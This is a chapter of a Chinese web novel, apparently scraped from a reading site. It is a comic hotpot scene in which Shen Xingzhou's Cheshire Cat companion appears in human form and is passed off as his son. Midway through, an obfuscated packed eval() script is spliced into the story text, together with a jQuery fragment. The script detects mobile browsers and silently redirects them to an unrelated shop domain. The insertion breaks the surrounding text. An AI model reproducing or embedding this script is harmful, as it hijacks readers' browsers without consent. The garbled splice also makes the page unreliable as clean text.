陈明远百无聊赖地刷着手机,余光瞥见一道人影落座,终于把手机往桌上一扣。拿起漏勺搅动那锅翻涌的红汤:“再不回来,这锅汤都要烧干了,我还以为你跑路……”
话说到一半,陈明远愣住了。
坐在对面的沈行舟,明显刚刚洗过脸,额前碎发湿漉漉地搭着。虽然脸色依旧苍白,但那双眼睛却不再死气沉沉,反倒突然漾开了水光。
“没事,洗了把脸。”沈行舟舒展了一下肩膀,长长地吐出一口浊气。
铜锅里的牛油红汤正咕噜咕噜地翻滚着,花椒和干辣椒在沸腾的油面上沉沉浮浮,辛辣鲜香的热气扑面而来。
沈行舟深吸一口气。
真香。
那种久违的、属于人间的暖意,终于顺着鼻腔流进了冰冷的四肢百骸。他能感觉到自己的指尖在慢慢回暖,连胸腔里那颗一直沉甸甸坠着的心,都向上浮了浮。
他起身去调料台。
第一碟是浓稠的麻酱,泼上蒜汁,撒满香菜碎和花生碎,又淋了半勺腐乳汁。第二碟是蒜泥香油碟,加了两勺醋解腻,又搁了一小撮白芝麻。两碟颜色分明,清清爽爽摆在面前。
陈明远看着他这副样子,心里的大石头总算落了地。
他夹起一片毛肚,在锅里七上八下地涮着,嘴里还不忘絮叨:“行啊,魂儿终于追回来了。老二,哥还是那句话。如果有人要是让你这么痛苦,咱就趁早断了。天涯何处无芳草,惹不起咱还躲不起吗。”
沈行舟听着这番话,若是半小时前,他可能会心如刀割。但现在,他只是在那缭绕的烟火气里,微微弯起了眼睛。
“没事了。”
他夹了片肉塞进嘴里,含糊不清却笃定地道。
陈明远看他那样,心里也多少摸了个底,嗤了一声,道:“得,看来是没救了。我也懒得瞎掺和你们那点破事。既然活过来了,就好好吃一顿,回去睡一觉,把你那俩兔子眼睛养养。”
说着,他指了指旁边的小推车,一脸一言难尽:“看你点这菜,我是真服了你了。这堆玩意儿要是吃不完,你全给我打包带走,别霍霍我的胃。”
沈行舟一愣:“什么?”
他顺着陈明远的手指看过去。
下一秒,沈行舟大惊失色。
第一碟,是切得整整齐齐的紫甘蓝。
这玩意儿要是扔进锅里,不出三分钟,整锅红汤就会变成诡异的深蓝色。
第二碟,是绿油油的新鲜薄荷叶。
红汤涮薄荷,边吃火锅边刷牙。
第三碟,是两把生机勃勃的生韭菜。
沈行舟不可置信:“火锅店为什么会有这些东西?”
“刚才你跟丢了魂似的在那儿乱勾一通,我拦都拦不住。我问过服务员了,这几道菜是专门给猎奇博主准备的。他们店搞了个黑暗料理挑战,还上了美食博主的吐槽合集。”
陈明远顿了顿,沉痛道:“月销量为1,恭喜你,第一名。”
沈行舟权当没听见。
不管了,这堆阴间蔬菜涮不进火锅,打包回去炒个菜总行吧?
他选择性失明,专攻锅里的毛肚、鹅肠和肥牛。久违的肉香在舌尖炸开,裹着牛油的醇厚和花椒的微麻,沈行舟吃得眼睛亮晶晶的。
吃着吃着,小腿突然传来一阵毛茸茸的触感。
沈行舟不动声色地掀开桌布一角,低头看去。
只见桌底下的阴影里,柴郡猫正张着嘴,金绿色的眼睛在暗处亮得惊人。它指了指自己,眼睛兴奋地一眨一眨。
这坏猫。
刚才撒丫子就要冲出来吃大餐,沈行舟好说歹说,许诺了十顿罐头才把它劝住隐了身形。等回去一切安排妥当,把它那头红毛和招摇的猫耳朵眼睛都伪装成正常人类的样子再出来跑。
结果这会儿它闻着味儿又忍不住了。
沈行舟看了一眼陈明远,对方正埋头跟一碗鸭血作斗争。他犹豫了一下,悄悄捏起小推车上的那碟生薄荷叶,趁人不备,迅速倒在了桌底下。
桌底下传来一阵窸窸窣窣的咀嚼声。
紧接着——
柴郡猫浑身的毛瞬间炸开,尾巴扭曲成了一个问号。
“呸呸呸——!”
脑海里传来它嫌弃到变形的声音:【什么鬼东西!草的味道!好难吃nya~!人,你每天就吃这种东西吗?太可怜了!】
沈行舟端着茶杯的手微微一顿。
……看来薄荷和猫薄荷不是一个物种。记住了。
【这个不好吃,我要吃那个!】柴郡猫在脑子里抗议,口水都要滴下来了:【明明闻着很香!就是那个黑色的、长满刺的、软乎乎的东西!快给我!】
沈行舟脑海里耐心地讲道理:【那是毛肚,我现在没法把筷子伸到桌子底下去喂你,你忍一忍,等回家了,我给你伪装好了,咱们再光明正大地出来吃,行不行?】
话音刚落。
桌底下的触感突然消失了。那个聒噪的声音也安静了。
沈行舟心里嘀咕:这就听懂了?这猫转性了?这么乖?
下一秒,只见一个一身花里胡哨的紫色马甲的红发少年窜出来,单手叉腰,一手指天,兴奋地大叫:“豹豹猫猫我出生啦!”
整个火锅店的人——包括端菜的服务员、隔壁的小情侣、还有对面夹着肉僵住的陈明远,全都齐刷刷地转过头,震惊地看着这个Coser。
柴郡猫大叫一声:“我要吃饭!”
沈行舟听到了自己理智碎裂的声音。
在陈明远那句“卧槽”喊出口之前,沈行舟以一种人类难以企及的速度,猛地从座位上弹射而起。
他一把捂住柴郡猫那张胡言乱语的嘴,另一只手死死按住它的脑袋,将整个人按进自己怀里,咬牙切齿低声咆哮:“闭嘴!你又是从哪学的破词儿!断网断网!”
沈行舟抬起头,对上满店几十双或震惊或困惑或兴奋的目光。他喉结上下滚了滚,只能硬着头皮,露出一个尴尬而不失礼貌的笑容:“误会,误会。”
他指了指怀里还在扑腾的少年,信口胡诌:“他……他是Coser,职业的。这不刚漫展结束吗,入戏太深,没走出来。哈哈,二次元嘛,你们懂的,比较热血。”
对不起了二次元,这口锅只能你们背了。
好在这个坏猫还算有点良心,知道把自己那对招摇的猫耳朵和尾巴收了起来,要不当天就让你成猫耳娘火遍全网。
陈明远觉得自己三观受到了撞击,磕磕绊绊许久,才道:“你别跟我装,这、这就是你说的,那个小孩?歪果仁?这红头发,一看就不是染的。”
“不不不!这不是那个孩子!”
沈行舟头摇得像拨浪鼓,连忙摆手撇清关系。
“唔?歪果仁?”
柴郡猫灵活地像条泥鳅,在他怀里扭了两下就钻了出来。眼睛里充满了求知欲和食欲:“歪果仁是什么果仁?好吃吗?”
一边说着,它手已经不安分地伸向了桌上的盘子,捏起一片生毛肚就要往嘴里塞。
“住口!那个不能生吃!”
沈行舟眼疾手快,猫口夺食,一把按住它的爪子,把毛肚抢救下来扔进锅里:“给我涮熟了再吃!”
场面一度十分混乱。</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17658921|206138||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>
沈行舟一边和这只试图生吞万物的猫搏斗,一边还要还要应付陈明远的审视,额头全是汗:“这个……呃、这也是个意外。捡来的,暂住,暂住。”
“意外?”陈明远不知道想到了啥,脸色更糟糕了。
柴郡猫眨巴着大眼睛,乖巧地点头,指了指自己:“豹豹说我是意外,我好伤心,明明是猫猫让我来找豹豹的哦。”
“我去……”陈明远双手抱头,崩溃道,“沈行舟,你行啊,你深藏不露啊,你到底脚踏几条船?这边心系个十七八岁的男孩,那边还有个外国姑娘?甚至连这么大的孩子都有了?”
沈行舟灵魂抽离,双眼放空地盯着天花板。
乱成一锅粥了,端起来趁热喝了吧。
解释“这是一只高维生物乐子猫”比解释“我有私生子”难度大了何止一百倍,而且前者百分之百会被抓去精神病院。
“……是。”
沈行舟生无可恋地闭上眼,破罐子破摔:“我的问题。我渣,我坏,我抛妻弃子。我这不悔过了么,这就把他们母子接回来好好过日子。你别问了,再问我跳锅。”
陈明远缓了半天,才勉强接受了这个惊天大瓜。他端起啤酒灌了一口,然后又灌了一口,转头开始像查户口一样跟柴郡猫唠嗑:“那个……大侄子啊。你妈妈多大了?是哪个国家的?俄罗斯?”
柴郡猫根本没听他在说什么。
它理直气壮地使唤沈行舟给它涮肉,把烫嘴的肥牛往嘴里塞,含糊不清道:“唔……不知道nya~反正猫猫和豹豹长得不一样。猫猫是卷头发,脾气很坏,会打人。”
陈明远转头,一脸质疑地看着沈行舟:“红头发、金眼睛、还是自然卷……你这前妻血统挺神奇啊?”
头发确实是卷……只不过琥珀色的。
眼睛也确实亮……不过是翠绿的。
沈行舟眼神游移,手指无意识地摩挲着杯壁,硬着头皮瞎编:“呃……确实不是黑头发黑眼睛。”
“你小子什么时候认识的外国人?你口语这么溜了?”
“不……他、他中文好。他是……华裔。对。”
沈行舟垂下眼帘,遮住了眼底一闪而过的慌乱。
每编造一句谎言,他的心就虚一分。
但奇怪的是,随着心虚一同涌上来的,还有一种无法言喻的、隐秘的兴奋。
明明连谢灼的想法都不清楚。
明明只是自己单方面的、见不得光的绮念。
明明他们隔着不同的维度,连何时能重逢都是未知数。
但在陈明远的嘴里,他们已经被紧紧地绑在了一起。
他们有了一个荒诞却让人心跳加速的家庭,甚至还有了那些并不存在的、却听起来像模像样的恋爱过往。
这种被误解的亲密关系,就像是一颗偷来的糖。剥开糖纸的手在颤抖,明知不合规矩,明知这糖纸底下包着的可能只是一场空,但含在嘴里的一瞬间……甜得要命。
自己怎么变得这么糟糕。
沈行舟抿了抿唇,但心底像是有刚开瓶的碳酸汽水,咕噜咕噜地冒着粉红色的小泡泡。
又酸,又涨,又痒。
陈明远将信将疑地点点头,又看向正在跟一盘鸡爪较劲的非主流少年,问道:“那你叫什么名字啊?中文名有吗?”
柴郡猫抬起头,一脸骄傲,字正腔圆地吐出三个字:“沈招财。”
陈明远沉默了,盯着沈行舟。
“小名、小名、贱名好养活。大名……”沈行舟立马给柴郡猫夹了一筷子香菜,堵住它的嘴。他磕磕绊绊道,“等他妈回来再取。”